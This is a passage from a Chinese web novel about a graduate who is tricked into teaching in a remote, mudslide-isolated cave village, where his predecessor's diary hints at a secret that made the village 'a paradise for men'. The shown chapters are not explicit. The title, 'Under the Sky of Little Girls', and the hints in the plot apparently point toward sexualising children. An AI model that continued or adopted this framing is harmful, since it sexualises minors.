图片载入中

幼女天空下[全]

特大字】 【大字】 【中字】 【小字

幼女天空下[全]

第一章

"喂,是李余先生吗?"

"是的,是我。"

"感谢您投的简历,很抱歉,我们公司现在已经招满人了,希望以后有机会再合作吧,再见。"

随着"啪"的一声,电话挂掉,前台小姐那甜美的声音也消失在了电话线的那一头。

"以后,以后,哎,我都不知道听了多少个以后了。"李余叹了口气说道。 按说以李余大学本科毕业的学历,轻松的找到一份收入稳定的职业并不是一件太困难的事情,可是他所学的专业实在太偏,以至于到现在为止还没有找到一份合适的工作。

"该死,当初我干嘛要报考考古专业啊!"李余拍了拍自己的脑袋抱怨着。 不过事已如此,抱怨也没什么作用,李余只好继续他的投简历之旅。

一个月过去了,两个月过去,投出去的简历加在一起都能有一米高了,可是给他回复的公司却寥寥无几,即使有回复,也都是"谢谢,以后……"一类的词语。

"都快毕业一年了,再这么下去,都快吃不上饭了。"李余翻着钱夹,看着仅剩下那两张百元钞票,无奈地自言自语。

正当李余要面对断粮窘境的时候,一丝好运降临到了他的头上。

这天,和以往一样,李余漫无目的地在大街上熘跶,到处碰着运气,看看能不能找到一份工作。快到中午的时候,肚子里传来的一阵阵"咕噜,咕噜"声,提醒着李余是到了吃饭的时候了。

"随便找个小饭馆,把肚子填饱了吧。"随着着个念头,李余开始在附近寻找小饭馆。

就在李余寻找饭馆的时候,附近大楼上一条巨型横幅引起了他的注意。 "奉献青春年华,支援祖国西部",上面还写明了支援西部办公室的各种联系方式。

"支援西部。"李余嘴里念叨着。

"以我现在的文凭,在大城市里属于那种一搓就一大堆的,不过要是到了西部,应该属于拔尖的吧,要是先在那边混几年,能混出个样来的话,再回来,那么……"当这个念头出现在李余的头脑里时,他也顾不上去找饭馆吃饭了,赶快来到街边的公用电话旁边,掏出IC卡,拨通了支援西部办公室的电话。 "喂,是支援西部办公室吗?"

"啊,您好,我想咨询一下,如果我要报名的话,需要携带哪些证件呢?" "嗯,好的,好的……"

在把一切都打听好之后,李余兴奋地回到暂租的房子里,把需要携带的证件带上后,立刻就出发了。

"请您把联系方式留一下,如果一个星期内有消息的话我们会通知您的。" 从支援西部办公室出来的时候,招聘人员这句不冷不热的话又令李余本来高涨的心气降下来不少。

在期待与失落中度过了两天的李余,在第三天的时候终于接到了来自于支援西部办公室的电话。

"喂,是李余李先生吗?"

"是的,是的。"

"请您明天下午来支援西部办公室进行第二次面试,请问有什么问题吗?" "没有,没有。一定准时到达。"

这意外的消息令李余真是十分的惊喜。

第二次的面试和第一次差不多,无非是问一些普通的问题,例如"你什么时间毕业的"、"为什么要去西部"、"打算在那里呆几年"之类的问题。 "请先回去等消息吧!"

第二次的面试依然以这种模棱两可的话语结束。

依然是焦急的等待和不安的两天过去了。

又一个第三天的时候,李余终于接到了他盼望已久的电话。

"是李余先生吗?"

"是我。"

"请您明天再来支援西部办公室一趟,这是最后一次的面试了,请您做好准备。"

"好的,好的。"

第二天,李余早早的就出了门,他可不准备在这么重要的场合迟到,但是偏偏就是天不从人愿,李余在路上居然连续碰到三起交通事故,致使他到达的时间比他预计的晚了两个小时。

和以往不同的是,这次面试是集体进行的,就在李余进去的前两分钟,支援西部办公室的主任正在对所有的面试者宣布着一个消息。

"经过两轮的淘汰,我相信剩下来的,也就是在座的诸位,都算得上是社会的精英,而你也将从事一项伟大的工作,那就是去支援我们祖国的西部。大家都知道,现在西部地区还有很多少、老、边、穷,在那里急缺教育资源,现在我对于你们愿意献身于这项崇高的工作而表示我最大的敬意。"

说完,他自己为自己鼓起掌来。

可是底下所有听的人却全都傻了眼。他们原来以为所谓的支援西部,是因为西部的高科技人才少,所以他们这些经过严格选拔的人是去那里做科技骨干的,没想到竟然是去做乡村教师。

"好了,各位如果想好了的话,就把这个文件签一下,这是为了保护各位的和被支援地区的利益,各位不妨自己看看。"

说完,这位主任开始把手中的文件发放到所有人手中。

就在这个时候,迟到的李余才满头大汗地跑了进来。

"对、对不起,主任,今天路上堵车了,所以我来晚了。"

"啊,没关系,你先坐下吧!顺便把这个文件签一下。"

"这是什么文件啊?"李余问道。

"签完了你就可以去西部了。"由于还要发给别人,主任也没多解释,顺口说了这么一句。

"啊,真的吗?"

正在沈浸在西部梦想中的李余几乎没有多想就把自己的名字签了上去。 不过等他签完之后,却看见其他一起来的人纷纷离开。

"主任,我再考虑考虑好了。"

"主任,我突然想起来家里有点事,我先走了。"

短短几分钟后,现场就只剩下李余一个人了。

"主任,这、这是怎么回事啊?"李余疑惑地看着空空的周围。

"噢,没什么。他们,他们……他们在你没来之前已经签好,所以就剩下你了。你签好了吗?让我看看咱们的合约。"

"哦,给你。"李余有点疑惑地把手里的合约递了过去。

"哈哈……"看到李余的签名之后,主任发出了一阵狂笑。

"终于,终于有人上当了……"

"主任你说什么?"

"没、没什么,你放心吧小伙子,喔,是李余先生,是吧?回去等通知吧!哈哈……"

"主任你笑得好邪啊……"李余感到了一丝的不安。

几天后,李余煳里煳涂地坐上了前往成都的火车,当然了,他不会在成都下车,而是在途中一个名叫潭古县(随便瞎编的地名,大家千万别在旅游的时候去找,否则消失在大山里万恶我可不负责任)的小站下了车。

小站的站台只有几十米长,或者说,整个小站其实就只有这个站台和旁边的一家小卖部,几名山村妇女在附近挎着篮子,在向火车上的人兜售着山货。而这周围除了这个小车站之外,竟然全是大山,绵绵延延的大山充满了李余的整个视野。站台的边上竖立着一个站牌,上面写着"潭古县站"几个大字。

李余看了看手中的地图,好不容易在在一个角落里找到了这里的地名。 "虽然也属于四川省,但是好像很偏僻的样子。"看着小站上就像电影里表现出来的几十年前的样子,李余不禁感叹道。

虽然是做过了思想上的准备,但是李余还是觉得这里实有点荒凉。不过现在不是感叹的时候,反正来都来了,先找地方吧!

"去县城,找教育局。"这是临走的时候,主任对李余说的。

"先找县城吧!"

"大姐,大姐,请问县城应该怎么走啊?"李余向一位正在兜售山货的村妇问道。

"男娃,买只鸡蛋吧!"

"对不起大姐,我不要鸡蛋,能告诉我县城怎么走吗?"

"买只鸡蛋吧!"

"我不要鸡蛋,能告诉我县城怎么走吗?"李余有点生气的说。

没想到这位大姐二话不说,竟然转身走了。

"什么态度嘛,我只不过问路而已,居然……"

没办法,李余只好去问另外一位大姐。

"买斤核桃吧!"

"买斤苹果吧!"

"买只小兔吧!"

在连续拒绝了多位大姐好心的推销之后,李余终于明白了,如果他不买点什么的话,他是不会得到如何去县城的信息的。

"鸡蛋多少钱一个?"李余终于认输了。

"两元一只哩!"

"什么?这简直是敲诈啊!"

"不买算喽!"卖鸡蛋的大姐还是一副不耐烦的样子。

"好,好,我认了。给你钱,现在总能告诉我怎么去县城了吧!"李余气愤地说道。

"喏,顺着那条路一直走就到了。"大姐指着火车站旁边的一条小路说道。 "这,这条路好像是进山的路啊!"李余看着这条路的走向,万分疑问。 "我们县城本来就在山里的嘛,有啥子好奇怪的!"这回反而是大姐在奇怪了。

"OH,MY GOD!"李余已经不知道该说什么好了。

或许是人走得比较少的原因,从火车站到县城的这条土路很难走,不过还好的是走了一段之后,土路终于成为了柏油路,但是年久失修的路面上到处都是坑坑洼洼的。

半路上,李余好不容易搭了一辆马车,朝县城走去。

在天黑前,马车终于摇晃到了县城,李余看了看表,已经五点多了,现在即使找到教育局,估计里面也没人了,于是李余找到了可能是县城里唯一的一家旅馆住了下来。

在忍受了一晚的脏乱和蚊虫叮咬之后,李余第二天早上便迫不及待地向旅馆老板打听好了教育局在哪里后,就急忙离开了这里。

昨天晚上来到潭古县城的时候,李余根本没仔细观察过,今天早上一看,他终于知道贫穷二字的含义了。

整个县城里,能超过两层的建筑物估计没有十栋,而他要找的教育局就在其中,所以找起来很方便。

虽然属于县城里少有的"高"层建筑物,但是这座五层的楼房看起来好像是上个世纪八十年代的东西了。

经过了门房大爷的指点,李余来到了一间办公室,一位自称是教育局张副局长的人接待了李余。

"是从北京来的李余先生啊?啊,欢迎,欢迎。我们这里早就接到电话说你要来了,我们一直很期待你的到来啊!"这位副局长热情地握住了李余的手。 "这是我的介绍信。"对握手没兴趣的李余直接拿出了介绍信,交到张副局长的手里。

"会给我一个怎样的工作呢?在教育局里当一名普通干部的话,那也太委屈我了,最少也得是局长的秘书吧,最好是当一名主任,干个一年后就提拔我也当个副局长什么的。"李余在张副局长看信的时候,开始幻想起自己的未来了。 "嗯,原来是这个样子呦。李余同志,你竟然有如此伟大的精神境界,可真是值得我们佩服。你从大城市来,竟然要求到最贫穷的地方去教书,好,我就满足你的要求。(我这辈子从来没见过有人有过这种要求。张副局长暗语),我会把你安排到我们县里最穷、最偏僻的村子去教书。哈哈,你放心,这件事情包在我身上喽!"

"什么?……鬼才想去最穷,最偏僻的地方教书呢!"李余心道。

"这、这,好像有点误会,我……"

"有啥子误会么,介绍信上写的请清楚楚,你自己要求去条件最差的地方教书,白纸黑字还能有错么?你放心,我马上就给你去安排,你先坐啊,我去去就回。"

张副局长说完马上跑了出去,"嘭"的一声,从关门的声音来判断,他似乎是把门反锁上了。

"怎么,怎么会这样……"李余抓起了被丢在眼前的介绍信。

"……李余同志年轻有为,思想进步,意志坚定,坚持要去老、少、边、穷地区条件最差的地方教书,把自己的青春全部奉献给这些地区的孩子们。这位同志真是我们学习的榜样啊……"

"天啊,这、这不是胡说八道吗,我什么时候要求过去条件最差的地方教书啦?不要开这种玩笑了,我看还是现在回去好了。"李余撇下了介绍信,打算出去,"咦,门怎么锁上了?放我出去啊,这是个误会,我要回家,放我出去!"李余这时才知道后悔已经有点晚了。

大概过了十几分钟的样子,从门那里出来了钥匙开锁的声音。

"太好了,我要走,我要回家去,我可不愿去什么条件最差的地方教书,再见吧,老子的青春是属于自己的,绝对不会奉献给其他什么人。"李余嘴里念叨着,背起自己的包准备离开。

"李余同志,这么都等不急喽,太好喽,我这不是已经带人来准备把你送去吗?不要急嘛!"张副局长连推带搡的把李余又按回到了椅子上。

"小王,小赵,这位就是从北京来的李余同志,你们两个负责把人家送到洞子村去,既然李余同志这么着急,你们现在就出发吧,不要耽误了行程。" "是唆!"从张副局长身后走过来两个身强力壮的年轻人左右一架,就把李余架了起来。

"等等,这里有误会,放开我有话要说……"

"有啥子误会嘛,你的情况在介绍信上写得清清楚楚,我们都明白。好了,现在就出发吧!"

"等等,放开我,不要这样啊……"

就这样,李余被两个人架着,离开了县城,走上了山路。

"反正到了地方之后我自己就悄悄的跑了,难道说我一个大男人还能被困死在山村里不成?"李余心中暗暗打定注意。

"两位大哥,咱们这要去什么地方啊?"李余小心翼翼的问着。

"去洞子村。"

"好奇怪的地名啊!"

"是唆,那个村里的人都住在洞子里,所以叫这个名字。"

"都住洞里,那岂不是原始人……"

"咱们应该不必要走这么快吧,我的腿都快累折了。"李余喘着粗气说道。对于平时极少锻炼的人来说,走这种山路无疑是一种折磨。

"快点吧,慢了小心被困住,那时叫天天不灵,叫地地不应就惨了。"小王对李余说道。

"被困住?什么意思?"李余一边继续喘粗气,一边问。

"这山里多发泥石流,特别是在夏天,也就是现在这个时候,雨水多,一下雨,泥石流动不动就把山路冲坏了。要是咱们被泥石流困住,就只有等死了。"小赵回答李余说道。

"什么?那咱们要去的那个村子里的人怎么到外面去呢?他们不清理山路的吗?"

"清理山路!说得容易,哪里来的钱唆?咱们要去的那个洞子村,到了夏天之后,由于泥石流断路的原因,经常是半年与外面联系不上。"

"半年!……"李余感到一阵恶寒,尽管他已经在发挥他最大的想像力了,但是现实一次又一次的告诉他,事实比他想像得更可怕。

"一定要快点逃出去。"李余脑子里的这个念头更加强烈了。

但是……

他没想到,他们这一走就是三天,三天的山路对于即使生活在大山里的人来说都不是一件轻松的事情,何况是刚刚从大城市中出来的李余。在最后一天的时候,李余几乎是被小王和小赵擡到了洞子村。

已经是意识迷乱的李余,迷迷煳煳中好像是听小王似乎对某个人说:"人就交给你们,千万小心啊,我们先……"

后面的话,李余一句也没听见就睡过去了。

或许是三天来的劳累积累得太多,所以李余一直睡到了第二天下午的时候,才睁开惺忪的眼睛。

刚刚醒来的李余摇晃了一下双肩,一种头重脚轻的感觉使得他打消了想要坐起来的念头。

"哎,看来以后要多锻炼一下身体了。"李余自叹道。

"李先生醒了,李先生醒了。"突然的声音把李余吓了一跳。

这时他才感到自己是睡在了一间屋子里,并且屋子里还有其他人。

那人见李余醒过来了,连忙跑出了屋子,似乎是叫人去了。

过了一会儿,一阵凌乱的脚步声从外面传来。李余从声音上判断,至少有好几个人。

"李先生,你可醒喽!"一个苍老的面孔出现在李余前面。

"你是……?"

"我就是这个村的村长,老高。你好啊,李先生。"

"你好。"

第二章

一边握手,李余一边仔细地看着眼前的这个村长老高。

五十多岁的年纪,穿着一件破旧的蓝色上衣,一条灰色裤子,头上还戴着他以前只在电影中看到过的,中国农村五、六十年代流行的那种帽子,在村长那黝黑的脸上,到处都布满了岁月留下的痕迹。

"和电影里的可真像啊,真是标准的村长。"李余心中暗想。

"李老师,我们盼望你来很久了,终于可把你等来喽!啊,对了,李老师一定饿了吧?孩他妈,赶快去煮碗面。"村长热情地招唿李余。

睡了这么长的时间,李余也的确感到肚内空空,也就没有推辞。很快的一碗热腾腾的鸡蛋面摆在了李余的面前,李余很快就把面吃完了。

"怎样,李老师,要不要再来一碗?"

"啊,不用了,谢谢。"李余擦着嘴说道。

"那好,我带你去你的房子吧!"村长对李余说。

"我的房子,那,这里是?……"

"哦,这里是我家,你的房子就在旁边。"村长说道。

李余听完,跟随着村长走出了这间由竹子搭建的房子。

"哇……"刚刚出来,李余就被眼前的的情况惊呆了。

"这么大的山洞啊!"

李余直到这时候,才发现自己竟然在一个巨大的山洞里。此时他还不能看清楚山洞的全貌,但是五十米左右高的洞口看起来的确很有气势,人站在这样的山洞里,才能体会到自然的伟大。

借助洞内两边的照明灯,李余看到洞内异常的宽阔,在洞里两边都有房子,中间让出一条道路来。和他以前考古实习的时候去的一些洞不同,这里的地上没有乱石,而是夯实的土地。看来,这里住人的时间已经不短了。

"李老师,这里以后就是你家了。"村长老高指着一间房子对李余说道。 李余看了看这房子,好像和刚才村长家的房子没什么区别。不仅如此,而且整个山洞里所有的房子好像都是用竹子搭建的,样式基本上一样,很难区别。 "进来看看。"村长说着一推门就走了进去。

李余紧跟在后面走进了这间他以后要住的地方。

房子里的面积不大,加起来大概有四十平方米的样子,也没有分隔,就一个大间。一张桌子、一把椅子、一个大箱子和一张大床,就是房子里的所有的家俱了,看样子还都是用竹子做的。

"这里以前有人住过吗?"李余环顾四周,问村长。

"哦,以前是有人住,以前是许老师的住的,哎,可惜呦……"

"以前的许老师,也是村里的老师吗?"李余问。

"是呦。"村长的表情有些哀伤。

"怎么了,他离开这里了?"李余随意地问道。

"不是,他在去县城的路上被泥石流给冲走了,连个尸骨都没找到。哎!"村长叹着气说道。

"不……不是吧,那是什么时候的事情啊?"

"就是上个月。许老师可是个好人,他也是从大城市里来的,在我们这个穷村子一住就是十年,教了不少娃儿。哎……"

"是这样啊……"李余看着四周,感到一丝的不舒服。

"对了,李老师,走,咱们出去转转,我来给你介绍一下我们村子。"村长提议道。

"哦,好。"李余放下了自己的背包,和村长走出了房子。

"不用锁门吗?"李余在门上找了半天也没看见锁在哪里。

"哈哈,放心吧李老师,我们村里从来不丢东西。"村长笑着说道。

"哦。"李余感到有点不好意思。

跟随村长走出山洞后,面前的景色豁然开朗。

一块圆形农地出现在李余面前。四面都是环形的山,这里似乎完全被山给包围住了。现在正好是夏天,农地里的各种农作物长势正好,只是有点奇怪的是,李余看到在地里干活的却以女性居多。

"好大的一块地啊!"城市中的人很少见到这么大块的农地。

"是唆,不过这也是我们村所有的耕地喽!"村长说道。

"这块地有多大?"

"差不多五百亩吧!"

"哇,这么大啊,那你们干嘛非要住在洞里呢?外面很大呀!"李余不解的问。

"是这个样子的,以前的时候我们村子里人多,而且那时候种籽不好,每亩收获得少,所以我们村子的祖先都住到洞子里面去了。"村长说道。

"那是很久以前的事情了吧?"

"是啊,听老人们说,我们村子的祖先是在清兵入关的时候避祸逃到这里,才建了这个村子。"村长说道。

"清兵入关!学习考古的李余当然知道清兵入关是1644年的事情,那到现在岂不是已经三百多年了。"

"我说你们的口音怎么和我在县城里听到的有些不同呢,原来如此啊!"学习考古的李余深知,在中国,很多乡村看起来不起眼,但是往往有着令人难以置信的历史。

"听老人们讲,我们祖先刚来到这里的时候人很多,那时候亩产比较低,所以这里所有的地都被种上粮食了,人们之后住在洞子里。后来慢慢地发现住在洞子里也有不少的好处,冬暖夏凉,蚊虫还少,所以现在我们还住在洞子里。" "那附近就没有可以耕种的地了吗?"

"没了,这附近几百平方公里全是山,就我们一个村子,能耕种的土地也就这么一块而已。"村长解释道。

"哦,原来如此啊!"

"走,咱们去山上走走。"村长带领着李余往旁边的山上走去。

李余和村长沿着小路,走上了附近的一座小山。

"你看,那就是进出俺们村子唯一的一条路。"村长指着村口的一条小路说道。

"哦,那就是我来时的路啊!"李余心中暗想。来的时候,李余完全被累昏了,根本不记得自己是怎么进的村子。

说到路,李余突然想起来了自己的计划。

"这么美的地方,我就住几天再走,就当是旅游了。呵呵……"李余心中暗想。

"对了村长,既然我来教书,过几天我要去县城里买点教书用的材料,你能派个人带我去吗?我自己走山路的话,一定会迷路的。"李余对村长说道。 "哦,难喽!"村长说道。

"难了,什么意思,莫非我的计划被他们看穿了?……"李余想到此,冷汗直冒。

"为什么难了?"李余小心翼翼地问道。

"李老师你不知道,昨天晚上下了场暴雨,估计不知道哪里有发泥石流了,所以今天早上我已经派出人去查看,等到晚上的时候就有消息了。"村长说道。 "噢,原来是这样啊!"李余松了一口气。

"发泥石流的话清理一下不就行了吗?村长你不是说上个月,以前的许老师才被泥石流冲走了,而我来的时候,路面上已经被清理干净了,这回就算是发了泥石流,再清理好不就行了吗?"李余问道。

"那次清理已经把我们村今年清理用的预算全用完了,所以再发的话,只有等到明年开春再清理了。"村长说道。

"啊……预算被用完了。哪个,村长我能问一下,你们村一年用于清理泥石流的预算是多少吗?"李余问。

"每年都不一样,那要看村子里的收入是多少,基本上也就几千块钱吧!" "什么?一年才几千?……"李余已听到这,已经开始祈祷着,昨晚那场暴雨千万别引发泥石流。

"哦,对了,李老师,你别担心,我们村子虽然穷,但是我们种的粮食可富富有余,女人们也会织布,在我们村子里衣食无忧,就算出不去,你也可以安心呦!"村长看着李余的样子,还以为他是在担心这个。

"衣食无忧!……"李余已经不知道该说什么好了。

"走,李老师,我带你去见见我们村子里的老人们。"

"哦,知道了。"李余答着,跟随村长往山下走。

"对了村长,村子里现在有多少人啊?"李余问道。

"二百四十多人,你要教的有六十多个孩子,从小学一年级,到初中三年级都有。"村长说道。

"村长,你的意思不会是说,咱们村子现在除了我之外就没有其他的老师了吧?"

"是唆。以前的许老师也是一个人教六十多个娃儿。"

"天啊……"李余又开始在心中叫苦了。

从山上一路走下来,两人也没什么可说的,气氛比较沈闷。

"诶,对了,高村长,刚才我看见在地里干活的怎么是女人多,男人少,好奇怪啊!"李余为了活跃一下气氛,随口问道。

"这个,这个……说起来,这个……不好意思……"村长吞吞吐吐,似乎有什么难言之隐。

"怎么了村长?有什么问题吗?"李余奇怪的问。

"那个,那个……我们村子一直以来就是这个……"村长说话的声音越来越小,以至于到最后都听不到他在说什么了。

"一会儿这个,一会儿那个,村长这是怎么了?"李余心想。

看到村长发窘的样子,李余很想转移话题,但是暂时又找不到什么好话题,所以两人间的气氛一下变得很尴尬。

"其实吧,李老师,你反正已经来我们村子教书了,我也就不瞒你了……这个事情不是什么光彩的事情,所以我不好开这个口。我们村子不知道为什么,自古以来,出生的娃儿就是女娃多,男娃少,就为这个事情,我们村子的男人在其他村子的人面前都擡不起个头。哎……"村长这才把事情原委说出来。

"哦,是这么回事啊。那你们村子的男女比例到底是多少啊?"李余问。 "我们村现在有二百四十多人,娃娃有六十多,成年人是一百八十人,男人只有六十。"村长说道。

"不是吧,男女比例竟然是1:2?这个差距也太大了吧!那孩子里的比例也是这样吗?"

"是唆,六十多个娃儿,只有二十个男娃,四十多个女娃。"

"是这样啊!其实村长,这种事情和你们村的男人没什么关系,你不必不好意思。"李余说道。

"和男人没关系,李老师你莫非是说和我们村子的女人有关系?"村长疑惑地问道。

"不是,我不是这个意思,我是说,这种情况和人是没关系的啦。我以前在报纸上到过这种事情,不过那是国外某个地方,那个报道说,这种情况,可能跟你们吃的东西或者喝的水里某种微量元素的失衡有关系。"李余对村长说道。 "啥子意思?李老师我这个人没文化,不知道你说的是什么,不过你是从大城市来的,既然你说是什么,就是什么。"村长说道。

不过村长虽然这么说,但是李余还是从村长的语气中听到,他似乎有些不大相信李余说的话。

"算了,不说这个喽,李老师,我带你去见见我们村里的老人。"

"嗯……"

两人一前一后,走下了山。

在村长的带领下,李余去拜见了村里的老人。经过了一番的拜访之后,李余对于村里的情况也有了一些的了解。至少他知道了,在村子里面,很多的事情并不是村长一个人说了就能算数的,这些村里的老人就像是议会里的长老一样,掌握着村里很大的一部分实权。

在轮流拜访完村子里的"长老"之后,村长派出去探路的人也回来了。 "千万别有什么坏消息啊,我可不想在这里呆那么长的时间。"李余暗暗祈祷。

"完了,完了,村长啊,这回麻烦了,路完全被堵死了,没得走人了。"回来报信的人如是说道。

"不……不是吧,我……"听到这个消息,李余差点晕过去。

"哎,李老师,没办法了,看来你是去不了县城喽!"村长对李余说道。 "没……没事,我感到有点累,我先回去休息了。"李余说完,朝自己的小屋走去。

刚一进门,李余就把自己扔到了那张宽大的床上。

"天啊,我怎么办啊,至少到明年的春天,还有半年的时间呢!我怎么办?我怎么办?半年以后我会不会也变得跟村长一样,皮肤黝黑,满脸皱纹?我会不会也穿着那样衣服赶着驴车去县城里贩卖土豆?我会不会……"一连串的可怕预想使得李余已经快抓狂了。

"睡觉,睡觉,这只是个噩梦,对,是个噩梦,明天一定会更好,明天,明天……"

在床上翻来翻去,李余死活就是睡不着。

"这不是世界末日,不就是半年嘛,很快的,一晃就过去了。先找点事做,忘记时间,很快就过去了,很快……"李余很快就学会了安慰自己。

"做什么,做什么……"李余开始疯狂地在自己的屋子里面乱翻东西,可是屋子里的摆设实在太少,就那么几件,除了桌子、椅子、床之外,就只有那口大箱子了。

李余走到箱子前,这是一个用竹片编织成的大箱子,就是箱子上有很多的孔的那种,在南方很常见的一种箱子。李余小心翼翼地打开了箱子,他本来期望着箱子里面能有一箱子的小说,武侠小说、恐怖小说、侦探小说、玄幻小说、H小说……反正是能看,能打发时间的,什么都行。

但是现实再一次令李余失望了,箱子里面整整齐齐的摆放着很多教书用的教义、课本、学生的作业,以及几本日记。

李余无奈地看着箱子里的东西。

"算了,这半年我就暂时先当乡村教师吧!"李余叹气说道。

随手,他拿起了一本教材,随意翻看着。

"无聊。"翻完教材,翻学生作业。

"无聊。"学生作业也被他扔到一边,然后是日记本。

日记是李余的前任,许老师记的。他把最底下那本拿出来,从许老师刚刚来到这个村子看起。

"7月10日 阴

真没想到现在还有这么落后的村子,我不知道自己的选择是不是正确,高村长看起来人还不错,先在村子里呆几天吧,如果有机会,我或许会逃……" "这个许老师看来和我差不多嘛!"李余想。

"7月11日 雨

我开始讨厌这里了,从我到县城,直到今天,我已经快一个星期没看见太阳了,这里的夏天几乎老是下雨,难怪这里的人要吃辣椒,否则呆不了几天全都会得关节炎。我得赶快找机会逃走。"

"咦,才第二天就准备逃跑了,那他是怎么在这里干了十年的?"李余感到很奇怪。

接下来的一个星期的日记里,内容基本上相同,都是想如何赶快离开这个村子。但是,就在许老师到达这个村子一个星期之后,一切都改变了。

"7月19日 晴

真难得一个晴天,我的心情也好多了,但是今天发生了一件很奇怪的事情,村长问我是不是愿意长期留在这里,成为这个村子的一名村民,出于礼貌上的原因,我同意了。当时他的表情很奇怪,但是我感到有些什么事情要发生了。" "莫非就是这个让许老师留下来的吗?"李余疑问着,接着往下看。

"7月20日 晴

兴奋,兴奋……这个仪式……我、我还会离开这里吗……"

"好奇怪的一篇日记啊!"李余看着这篇字迹写得歪歪扭扭的日记,满面疑惑。

前面许老师的字写得很漂亮,端端正正,似乎是学习过书法的人写出来的,可是这篇日记的字却……

只有两个可能,要么这篇日记不是许老师自己写,但这不大可能啊;要么就是……许老师在写这篇日记的时候极度激动,以至于连自己的手都控制不住了。当然了,日记的内容更加奇怪,是什么东西让这个许老师这么快就改变主意,不打算离开这里了呢?

李余又翻开了下一页。

"7月20日 阴

我……我不走了……我……活了这么大我才知道什么叫天堂,男人的天堂。不,我不能说,我发过誓的,我不能说,我……"

这篇日记里,许老师的字又恢复到了以前的样子。

这么快就决定不走了,是什么,到底是什么东西让一个人在这么短的时间内发生这么大的转变?这个村子到底有什么秘密呢?

一大堆的问号出现在了李余的脑子里。不过他也懒得想了,反正在许老师的日记里应该有记载,于是他翻开了下一页。

"7月21日 晴……"

"啪!"突然间四周一片漆黑。

第三章

"怎、怎么回事?"

不仅是屋子里的灯,连外面山洞里的灯似乎也都灭了。

李余摸索着走到屋子外面,山洞里一片漆黑什么也看不见,只有从洞口飘进来的一丝月光,使得李余还能知道自己是在一个山洞里。

幸好村长家的屋子离李余的屋子很近,李余凭藉白天时的记忆,摸索着朝那里走去。

"匡!"李余的头狠狠的撞到了山洞的墙壁上。

"哦,该死的。"李余一边走,一边揉着脑袋。

过了好一会,他才终于摸到一间屋子。

"村长,村长,是高村长家吗?"李余拍着屋子的竹门说道。

"是李老师吧。"村长的声音从里面响起。

"村长,怎么没电了?"李余问道。

"哦,李老师,我忘记告诉你了,我们村子就一台发电机,要是坏了就没的电用了,所以一到晚上9点,我们就把发电机停了,让它晚上歇歇。"村长回答道。

"9点?有这么晚了吗?"李余擡起手,看了看手腕上的荧光手表,果然已经是9点了。

"哦,我知道了,不过村长,能不能把我送回我的屋子去?我估计找不到回去的路了。"

在村长把李余送回来之后,他躺在床上怎么也睡不着。

在城市里,晚上12点睡觉已经形成习惯了,现在要他9点睡觉,怎也很难睡着。

"怎么可能呢?许老师怎么能在那么短的时间内,想留在这里了呢?是什么东西让他发生了一百八十度的转弯?"李余怎么想也想不通,很想接着看日记,不过没了光亮,李余也只好暂时忍着。

第二天村里的学校开课了,李余在忙忙碌碌中度过了一天,晚上才回到自己的屋子里。

吃过晚饭,李余又拿起了日记本,接着昨天的看。

"7月21日 晴

"垃圾,垃圾,以前的都是垃圾,今天我终于知道什么叫男人了,以前那些事情都是垃圾,爽,太爽了!我要感谢高村长,哦不对,现在我应该叫他……" "好像有点意思,很快谜底就要解开了。"李余翻开了下一页。

"李老师,李老师在吗?"屋子外面传来了村长的声音。

"请进。"李余连忙把日记本收好后,说道。

"怎样,李老师,还习惯吗?"

"还行,还行。"

"我们村子条件比较差,肯定比不上你们大城市,李老师你多包涵啊!" "还好,反正我不是来旅游享受的,我本来就是来支援西部的吗!哈哈……没关系。"虽然心里不一定这么想,但是嘴里说的一定要好听。

随后两个人又天南地北的瞎聊了一通。虽然村长很少出这个村子,但是通过村子里唯一的一台电视机,他多少还是对外面的世界有点了解,两个人一聊起来也就忘了时间。

"噢,对了,李老师,你打算在我们村里呆多长时间?"村长突然间向李余问了这个问题。

"这个问题……"村长刚一说完,李余立刻想起来了昨天他在许老师的日记本上看到的,现在他面临了相同的问题。

"这个嘛……我觉得,只要条件允许的话,我可以呆到任何时候。"李余的这个回答很含混,让村长搞不清他到底是什么意思。

"那个……"

"啪!"四周又是一片漆黑。

"光顾聊天了,都已经9点了。"李余看了看表说道。

"那我不打扰李老师了,咱们明天再聊。"村长说完,走出了屋子。

"十年以前,许老师和我面临一样的问题,以至于他在两天之后就决定留在这里了,那么两天之后,我或许也会留在这个村子里?哈哈……这不可能,我一定会离开,虽然不是现在,但是肯定是明年的春天。"李余躺在床上想着,慢慢进入了梦乡。

半夜,一阵尿意把李余从睡梦中拽醒。

乡村的夜晚和城市的夜晚有着极大的不同,其中最显着就是乡村的夜晚极其安静,所以李余小心的蹑手蹑脚的朝洞外走,生怕吵醒了其他的村民。

"嘘……舒服。"在田地边,释放完的李余抖了抖,把宝贝收进了裤子里。 为了能在黑暗中找到回屋子的路,李余出来的时候特意把自己的荧光表挂在了门上,这样就好找了,但是当他往回走的时候,却发现,除了他的手表发出的荧光外,还有一丝的光亮在黑暗中闪烁着,似乎是村长家的房子。

李余小心的走路,生怕发出一点声音,一点点的来到了村长家的房子后面,通过竹子间的细缝往里偷看。

在村长家的正中间,一个竹凳上放着一只很粗的红蜡,李余刚才看见的亮光就是由这个蜡烛摇曳的光发出的。

在蜡烛的周围,除了村长外,还围坐着那天村长带他去见的村内的"长老"们。

"我说小高啊,你问过李老师没啦?"其中一个长老对村长说道。

"今天我和李老师谈过了,他说得很含混,似乎是要长留,似乎又是马上要走,我也不晓得。"村长抽着烟袋回答道。

"那你明天再去试试他的口风,要是他肯留在咱们村子里,那就……要是他不同意的话,就赶快送他走。好的没?"另外一个长老说。

"晓得了,我明天就去好好问问他。"村长说。

"他们到底有什么秘密?"回到自己的屋子后,李余躺在床上想着。

"看起来还相当重要,否则他们也不会在半夜开会了,偏偏那个长老说话含煳,也不说清楚到底是什么事情。"

"对,等明天高村长来问我的时候,我就说愿意永远呆在这个村子里,愿意成为这里的一员,我倒要看看这个村子的秘密是什么。"打定主意的李余在几分期待,几分兴奋中睡着了。

第二天,李余的课程又是安排得满满的,一个人要教从小学一年级,到初中三年级的所有课程,紧张程度可想而知。

晚上,村长在几乎和第一天相同的时间,到了李余的屋子里。

"李老师。"

"啊,村长啊,请进,请进。"有了思想准备的李余一点也没感到意外,倒是村长有点不好意思。

"不好意思,又来打扰你了,李老师。"

"没关系,我很喜欢和高村长你聊天啊!"李余说道。

又和第一天一样,两人开始绕着弯子说话,谁也没有进入主题。

